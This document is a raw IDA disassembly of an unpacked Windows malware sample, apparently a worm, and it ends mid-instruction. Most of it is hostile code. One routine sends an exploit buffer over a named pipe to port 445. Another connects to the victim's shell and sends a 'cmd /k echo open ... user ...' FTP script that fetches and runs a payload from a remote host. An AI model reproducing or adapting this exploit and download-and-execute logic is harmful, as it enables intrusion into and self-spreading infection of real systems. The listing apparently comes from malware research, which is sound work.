; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7FDA84AA402C068A53FAAB7F60AAD43C ; File Name : u:\work\7fda84aa402c068a53faab7f60aad43c_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000BD000 ( 774144.) ; Section size in file : 000BD000 ( 774144.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _packed segment para public 'CODE' use32 assume cs:_packed ;org 401000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_4014EF+274p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_427354 ; inet_addr mov [ebp+var_C], eax mov ax, word_41FBF0 push eax call dword_427314 ; htons push ebx push 1 push 2 mov [ebp+var_E], ax call dword_427394 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4010CC lea eax, [ebp+var_10] push 10h push eax push edi call dword_4272BC ; connect cmp eax, 0FFFFFFFFh jz short loc_4010CC mov esi, 400h push ebx lea eax, [ebp+var_5A0] push esi push eax push edi call dword_42732C ; recv mov eax, offset byte_41FCA4 push eax push eax push dword_424F0C push [ebp+arg_0] call sub_404F3A pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_1A0] push 190h push eax call sub_40E7AB add esp, 1Ch lea eax, [ebp+var_1A0] push ebx push eax call sub_40E730 pop ecx push eax lea eax, [ebp+var_1A0] push eax push edi call dword_427364 ; send cmp eax, 0FFFFFFFFh jnz short loc_4010D0 loc_4010CC: ; CODE XREF: sub_401000+51j ; sub_401000+63j xor al, al jmp short loc_4010F4 ; --------------------------------------------------------------------------- loc_4010D0: ; CODE XREF: sub_401000+CAj push 1F4h call dword_41A060 ; Sleep push ebx lea eax, [ebp+var_5A0] push esi push eax push edi call dword_42732C ; recv push edi call dword_4273AC ; closesocket mov al, 1 loc_4010F4: ; CODE XREF: sub_401000+CEj pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010F9 proc near ; CODE XREF: sub_4014EF+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_41C774 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_41C76C ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_424EF4 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call dword_41A064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_40E858 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_40E858 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_424EF0 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4273B4 cmp eax, 5 mov ebx, 4C3h jz short loc_4011BD cmp eax, ebx jnz short loc_4011C7 loc_4011BD: ; CODE XREF: sub_4010F9+BEj push edi push edi push edi push esi call dword_4273B4 loc_4011C7: ; CODE XREF: sub_4010F9+C2j cmp eax, 5 jz short loc_4011D5 cmp eax, ebx jz short loc_4011D5 push 1 pop eax jmp short loc_4011D7 ; --------------------------------------------------------------------------- loc_4011D5: ; CODE XREF: sub_4010F9+D1j ; sub_4010F9+D5j xor eax, eax loc_4011D7: ; CODE XREF: sub_4010F9+DAj pop edi pop esi pop ebx leave retn sub_4010F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011DC proc near ; CODE XREF: sub_4014EF+8Bp ; sub_4014EF+158p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_41C774 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_41C76C ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_424EF4 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_41A064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_40E858 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_40E858 add esp, 10h loc_40126D: ; CODE XREF: sub_4011DC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_427254 test eax, eax jz short loc_40128D push 7D0h call dword_41A060 ; Sleep jmp short loc_40126D ; --------------------------------------------------------------------------- loc_40128D: ; CODE XREF: sub_4011DC+A2j push 1 pop eax pop edi pop esi leave retn sub_4011DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401294 proc near ; CODE XREF: sub_4014EF+BAp ; sub_4014EF+1D3p var_2008 = byte ptr -2008h var_1FE4 = byte ptr -1FE4h var_1FD8 = byte ptr -1FD8h var_1F31 = byte ptr -1F31h var_1008 = byte ptr -1008h var_1000 = dword ptr -1000h var_FF8 = dword ptr -0FF8h var_F88 = dword ptr -0F88h var_F84 = dword ptr -0F84h var_F54 = dword ptr -0F54h var_F50 = dword ptr -0F50h var_F38 = dword ptr -0F38h var_E7C = dword ptr -0E7Ch var_CA8 = dword ptr -0CA8h var_CA0 = dword ptr -0CA0h var_C98 = byte ptr -0C98h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 2008h call sub_40EC80 mov ax, word_41FBF0 push esi push edi mov esi, 0A7h push eax mov [ebp+var_4], esi call dword_427314 ; htons xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_41C604 call sub_40E940 mov edi, dword_41C6F8 add esp, 0Ch test edi, edi jnz short loc_4012E4 xor eax, eax jmp loc_4014EB ; --------------------------------------------------------------------------- loc_4012E4: ; CODE XREF: sub_401294+47j push ebx push 30h lea eax, [ebp+var_2008] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax call sub_40E940 push esi lea eax, [ebp+var_1FD8] push 0FFFFFF90h push eax call sub_40E800 mov ebx, offset loc_41C554 push edi lea eax, [ebp+var_1F31] push ebx push eax call sub_40E940 add esp, 24h lea esi, [edi+0D7h] loc_401323: ; CODE XREF: sub_401294+DBj mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_401371 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2008] inc esi push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax mov [ebp+var_4], esi call sub_40E940 push esi lea eax, [ebp+var_1FD8] push 0FFFFFF90h push eax call sub_40E800 push edi lea eax, [ebp+esi+var_1FD8] push ebx push eax call sub_40E940 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_401323 ; --------------------------------------------------------------------------- loc_401371: ; CODE XREF: sub_401294+9Aj cmp [ebp+arg_C4], 0 jz short loc_40138C cmp [ebp+arg_C0], 3 jz short loc_401395 cmp [ebp+arg_C0], 0 jmp short loc_401393 ; --------------------------------------------------------------------------- loc_40138C: ; CODE XREF: sub_401294+E4j cmp [ebp+arg_C0], 3 loc_401393: ; CODE XREF: sub_401294+F6j jnz short loc_40139E loc_401395: ; CODE XREF: sub_401294+EDj push 4 push offset dword_41C6F4 jmp short loc_4013A5 ; --------------------------------------------------------------------------- loc_40139E: ; CODE XREF: sub_401294:loc_401393j push 4 push offset dword_41C6F0 loc_4013A5: ; CODE XREF: sub_401294+108j lea eax, [ebp+var_1FE4] push eax call sub_40E940 add esp, 0Ch lea eax, [ebp+var_1008] push 360h push offset dword_41C1F0 push eax call sub_40E940 push 10h lea eax, [ebp+var_CA8] push offset dword_41C1DC push eax call sub_40E940 lea eax, [ebp+var_2008] push esi push eax lea eax, [ebp+var_C98] push eax call sub_40E940 lea edi, [esi+370h] push 3Ch push offset off_41C19C lea eax, [ebp+edi+var_1008] push eax call sub_40E940 add edi, 3Ch push 30h push offset dword_41C168 lea eax, [ebp+edi+var_1008] push eax call sub_40E940 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA8], eax add [ebp+var_CA0], eax mov eax, [ebp+var_1000] lea eax, [eax+esi-0Ch] mov [ebp+var_1000], eax mov eax, [ebp+var_FF8] lea eax, [eax+esi-0Ch] mov [ebp+var_FF8], eax mov eax, [ebp+var_F88] lea eax, [eax+esi-0Ch] mov [ebp+var_F88], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F54] lea eax, [eax+esi-0Ch] mov [ebp+var_F54], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F38] lea eax, [eax+esi-0Ch] mov [ebp+var_F38], eax mov eax, [ebp+var_E7C] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E7C], eax call sub_40E882 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_40E800 lea eax, [ebp+var_1008] push edi push eax push ebx call sub_40E940 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_4014EB: ; CODE XREF: sub_401294+4Bj pop edi pop esi leave retn sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014EF proc near ; CODE XREF: sub_4037AE+1EAp ; DATA XREF: .packed:off_41E0FCo var_1138 = byte ptr -1138h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1138h call sub_40EC80 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_401652 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4010F9 pop ecx test eax, eax pop ecx jz loc_401737 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset dword_41C790 push eax call sub_40EE10 lea eax, [ebp+var_138] push offset dword_41C780 push eax call sub_40ED30 add esp, 14h xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_41A074 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401585 loc_401576: ; CODE XREF: sub_4014EF+138j lea eax, [ebp+arg_4] push eax call sub_4011DC pop ecx jmp loc_401737 ; --------------------------------------------------------------------------- loc_401585: ; CODE XREF: sub_4014EF+85j lea eax, [ebp+arg_4] push 2 push eax call sub_408318 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_C] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_401294 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jnz short loc_4015C0 push [ebp+var_4] jmp short loc_401621 ; --------------------------------------------------------------------------- loc_4015C0: ; CODE XREF: sub_4014EF+CAj mov esi, 186A0h push esi call sub_40E882 mov edi, eax push esi push ebx push edi call sub_40E800 mov esi, [ebp+var_4] add esp, 10h lea eax, [ebp+var_10] push ebx push eax push 2710h push edi push 48h push offset dword_41C11C push esi call dword_41A070 ; TransactNamedPipe cmp byte ptr [edi+2], 0Ch jnz short loc_401610 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_C] push [ebp+var_8] push esi call dword_41A06C ; WriteFile test eax, eax jnz short loc_40162C loc_401610: ; CODE XREF: sub_4014EF+109j push edi call sub_40ECAF push [ebp+var_8] call sub_40ECAF pop ecx pop ecx push esi loc_401621: ; CODE XREF: sub_4014EF+CFj call dword_41A068 ; CloseHandle jmp loc_401576 ; --------------------------------------------------------------------------- loc_40162C: ; CODE XREF: sub_4014EF+11Fj push [ebp+var_8] call sub_40ECAF push edi call sub_40ECAF pop ecx pop ecx push esi call dword_41A068 ; CloseHandle lea eax, [ebp+arg_4] push eax call sub_4011DC pop ecx jmp loc_401748 ; --------------------------------------------------------------------------- loc_401652: ; CODE XREF: sub_4014EF+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_408318 pop ecx xor ebx, ebx pop ecx mov esi, eax push ebx push 1 push 2 call dword_427394 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_401737 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_40E800 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_427314 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_427354 ; inet_addr mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_401294 mov edi, eax add esp, 0C8h cmp edi, ebx jnz short loc_4016D8 push [ebp+var_4] jmp short loc_401731 ; --------------------------------------------------------------------------- loc_4016D8: ; CODE XREF: sub_4014EF+1E2j mov esi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push esi call dword_4272BC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4016F0 loc_4016ED: ; CODE XREF: sub_4014EF+213j push edi jmp short loc_40172A ; --------------------------------------------------------------------------- loc_4016F0: ; CODE XREF: sub_4014EF+1FCj push ebx push 48h push offset dword_41C11C push esi call dword_427364 ; send cmp eax, 0FFFFFFFFh jz short loc_4016ED push ebx lea eax, [ebp+var_1138] push 1000h push eax push esi call dword_42732C ; recv push ebx push [ebp+var_C] push edi push esi call dword_427364 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_40173B loc_40172A: ; CODE XREF: sub_4014EF+1FFj call sub_40ECAF pop ecx push esi loc_401731: ; CODE XREF: sub_4014EF+1E7j call dword_4273AC ; closesocket loc_401737: ; CODE XREF: sub_4014EF+31j ; sub_4014EF+91j ... xor eax, eax jmp short loc_40178A ; --------------------------------------------------------------------------- loc_40173B: ; CODE XREF: sub_4014EF+239j call sub_40ECAF pop ecx push esi call dword_4273AC ; closesocket loc_401748: ; CODE XREF: sub_4014EF+15Ej push 7D0h call dword_41A060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_401000 add esp, 0BCh test al, al jz short loc_401787 mov eax, [ebp+arg_A8] imul eax, 38h inc dword_41E100[eax] lea eax, dword_41E100[eax] loc_401787: ; CODE XREF: sub_4014EF+281j push 1 pop eax loc_40178A: ; CODE XREF: sub_4014EF+24Aj pop edi pop esi pop ebx leave retn sub_4014EF endp ; =============== S U B R O U T I N E ======================================= sub_40178F proc near ; CODE XREF: sub_401A03+Ep ; sub_401A03+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40178F endp ; =============== S U B R O U T I N E ======================================= sub_401799 proc near ; CODE XREF: sub_401A03+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_40E882 mov edi, eax pop ecx test edi, edi jz short loc_4017CB push ebx push 0 push edi call sub_40E800 push ebx push [esp+1Ch+arg_0] push edi call sub_40E940 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_4017CB: ; CODE XREF: sub_401799+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_401799 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017D3 proc near ; CODE XREF: sub_4018CD+18p ; sub_401947+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_40E882 mov esi, eax pop ecx test esi, esi jz short loc_40181F push edi push 0 push esi call sub_40E800 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_40E940 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_40E940 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40181F: ; CODE XREF: sub_4017D3+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_4017D3 endp ; =============== S U B R O U T I N E ======================================= sub_401828 proc near ; CODE XREF: sub_4018CD+5Ep ; sub_4018CD+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_401838 push eax call sub_40ECAF pop ecx loc_401838: ; CODE XREF: sub_401828+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_401828 endp ; =============== S U B R O U T I N E ======================================= sub_401841 proc near ; CODE XREF: sub_4018CD+20p ; sub_4019A8+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40186E xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_40E882 mov edi, eax pop ecx test edi, edi jnz short loc_401872 loc_40186E: ; CODE XREF: sub_401841+Dj xor al, al jmp short loc_4018C9 ; --------------------------------------------------------------------------- loc_401872: ; CODE XREF: sub_401841+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_40E800 add esp, 0Ch cmp ebx, 1 jnz short loc_401897 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_4018B1 ; --------------------------------------------------------------------------- loc_401897: ; CODE XREF: sub_401841+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_4018B1: ; CODE XREF: sub_401841+54j push eax call sub_40E940 add esp, 0Ch push dword ptr [esi] call sub_40ECAF add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_4018C9: ; CODE XREF: sub_401841+2Fj pop edi pop esi pop ebx retn sub_401841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CD proc near ; CODE XREF: sub_401A03+89p ; sub_401A03+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_424F04 call sub_4017D3 lea ecx, [ebp+var_8] call sub_401841 mov eax, [ebp+var_4] inc eax push eax call sub_40E882 mov edi, eax pop ecx test edi, edi jnz short loc_401907 xor al, al jmp short loc_401943 ; --------------------------------------------------------------------------- loc_401907: ; CODE XREF: sub_4018CD+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_40E800 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_40E940 add esp, 18h mov ecx, esi call sub_401828 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_401828 mov al, 1 loc_401943: ; CODE XREF: sub_4018CD+38j pop edi pop esi leave retn sub_4018CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401947 proc near ; CODE XREF: sub_40197B+14p ; sub_401998+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_4017D3 mov ecx, esi call sub_401828 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_401947 endp ; =============== S U B R O U T I N E ======================================= sub_40197B proc near ; CODE XREF: sub_401A03+F0p ; sub_401A03+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40E730 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_401947 pop esi retn 4 sub_40197B endp ; =============== S U B R O U T I N E ======================================= sub_401998 proc near ; CODE XREF: sub_4019E4+Bp ; sub_401A03+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_401947 retn 8 sub_401998 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019A8 proc near ; CODE XREF: sub_4019E4+16p ; sub_401A03+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_401841 test al, al jz short loc_4019E1 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_41CB03+1) call sub_4017D3 mov ecx, esi call sub_401828 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_4019E1: ; CODE XREF: sub_4019A8+Fj pop esi leave retn sub_4019A8 endp ; =============== S U B R O U T I N E ======================================= sub_4019E4 proc near ; CODE XREF: sub_401A03+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_401998 test al, al jz short loc_4019FF mov ecx, esi call sub_4019A8 loc_4019FF: ; CODE XREF: sub_4019E4+12j pop esi retn 8 sub_4019E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A03 proc near ; CODE XREF: .packed:00402288p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40178F mov edi, 408h cmp [ebp+arg_8], edi jg loc_401D57 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_401D57 push esi lea ecx, [ebp+var_30] call sub_40178F lea ecx, [ebp+var_20] call sub_40178F lea ecx, [ebp+var_50] call sub_40178F lea ecx, [ebp+var_18] call sub_40178F lea ecx, [ebp+var_40] call sub_40178F lea ecx, [ebp+var_38] call sub_40178F lea ecx, [ebp+var_28] call sub_40178F push 4 push offset dword_41C7A4 lea ecx, [ebp+var_30] call sub_401947 push 3 push offset dword_41C7AC lea ecx, [ebp+var_30] call sub_401947 lea ecx, [ebp+var_30] call sub_4018CD lea ecx, [ebp+var_30] call sub_4019A8 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_40E800 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_41C798 call sub_401947 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_401947 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_401947 lea ecx, [ebp+var_20] call sub_4018CD push offset loc_41CB2C lea ecx, [ebp+var_50] call sub_40197B lea ecx, [ebp+var_50] call sub_4018CD push esi lea eax, [ebp+var_858] push 44h push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_401799 lea ecx, [ebp+var_58] call sub_4018CD push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_4019E4 lea ecx, [ebp+var_58] call sub_401828 push esi lea eax, [ebp+var_858] push 43h push eax call sub_40E800 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40197B push 4 push offset dword_41C7B0 lea ecx, [ebp+var_18] call sub_401947 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_401947 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_401947 lea ecx, [ebp+var_18] call sub_4018CD push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_401998 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_401998 lea ecx, [ebp+var_40] call sub_4019A8 lea ecx, [ebp+var_18] call sub_401828 lea ecx, [ebp+var_50] call sub_401828 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_401998 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_401998 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_401998 lea ecx, [ebp+var_38] call sub_4019A8 lea ecx, [ebp+var_20] call sub_401828 lea ecx, [ebp+var_30] call sub_401828 lea ecx, [ebp+var_40] call sub_401828 push esi lea eax, [ebp+var_858] push 41h push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_401947 lea ecx, [ebp+var_28] call sub_4018CD push 2 push offset dword_41CB20 lea ecx, [ebp+var_28] call sub_401947 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_401998 lea ecx, [ebp+var_28] call sub_4019A8 lea ecx, [ebp+var_38] call sub_401828 lea ecx, [ebp+var_10] call sub_40178F lea ecx, [ebp+var_8] call sub_40178F push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_401998 lea ecx, [ebp+var_10] call sub_401841 lea ecx, [ebp+var_28] call sub_401828 push offset dword_41CB1C lea ecx, [ebp+var_8] call sub_40197B push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401998 lea ecx, [ebp+var_8] call sub_401841 lea ecx, [ebp+var_10] call sub_401828 push offset dword_41CB18 lea ecx, [ebp+var_10] call sub_40197B push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_401998 lea ecx, [ebp+var_10] call sub_401841 lea ecx, [ebp+var_8] call sub_401828 push offset dword_41CB0C lea ecx, [ebp+var_8] call sub_40197B push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401998 lea ecx, [ebp+var_8] call sub_401841 lea ecx, [ebp+var_10] call sub_401828 push offset dword_41CB08 lea ecx, [ebp+var_48] call sub_40197B push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_401998 lea ecx, [ebp+var_8] call sub_401828 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_401D65 ; --------------------------------------------------------------------------- loc_401D57: ; CODE XREF: sub_401A03+1Bj ; sub_401A03+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_401D65: ; CODE XREF: sub_401A03+352j pop edi pop ebx leave retn sub_401A03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D69 proc near ; CODE XREF: sub_401E2D+A1p ; sub_401E2D+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 